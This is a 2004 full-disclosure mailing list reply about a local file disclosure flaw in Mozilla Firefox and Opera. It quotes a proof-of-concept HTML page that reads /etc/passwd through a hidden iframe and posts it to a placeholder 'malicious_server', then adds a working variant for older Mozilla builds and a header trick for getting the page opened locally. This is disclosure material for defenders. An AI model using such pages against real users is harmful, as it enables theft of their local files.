full-disclosure - Disclosure of local file content in Mozilla Firefox and Opera

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From: ju at heisec.de (Juergen Schmidt)
Subject: Disclosure of local file content in Mozilla
 Firefox and Opera

On Mon, 6 Dec 2004, Giovanni Delvecchio wrote:

> PoC:
> ===
>
> Read a local file by inner.HTML method:
>
> --------------------------------------------------------
> <HTML>
> <BODY onLoad="ReadFileContent()" >
> <iframe name="local_file" src="file:///etc/passwd" height=0
> width=0></iframe>
>
> <form name="module" method="post" action="http://malicious_server/grab.php"
> ENCTYPE="text/plain">
> <input name="content" type="hidden" size="300" >
> </form>
>
> <script>
>
> function ReadFileContent(){
>
> alert(local_file.document.all(0).innerHTML);
>
> document.module.content.value+=local_file.document.all(0).innerHTML;
> //send content to malicious_server
> document.module.submit();
> }
>
> </script>
> </body>
> </html>

While I can confirm, that this works with FF 1.0, older versions like
0.9.3 and Mozilla 1.7.3 choked on document.all, which isn't really
supported by Mozillas DOM.

I got it to work with document.firstChild:
---
<HTML>
<BODY onLoad="ReadFileContent()" >

<iframe id="local_file" name="local_file" src="file:///etc/passwd"
height=0 width=0>
</iframe>

<script>
function ReadFileContent(){
 alert(local_file.document.firstChild.innerHTML);
}
</script>

</body></html>
---

This worked with all versions of Mozilla and Firefox I checked.


> Possible method of remote exploitation:
> ================================
>
> Question:
> How could a malicious remote user exploit it ?
>
> My idea is the following:

> After that the user "victim" has required
> http://maliciuos_server/page.htm,
> if malicious_server responds with a page containing an unknown
> Content-Type
> field ( for example text/html. ,note the dot) ,the browser will show a
> dialog window with some options (open, save, cancel). Choosing "Open" to
> view this page, it will be downloaded and opened in local ; javascript
> code will be executed in local context.

I am offered to "Open with GNU Emacs (default)" under Linux -- but this
may have been configured by me a long time ago.
On Windows, I can have the default opener set to my browser by adding:

Content-Disposition: attachment; filename=cttest.html

(the .html is important).

bye, ju

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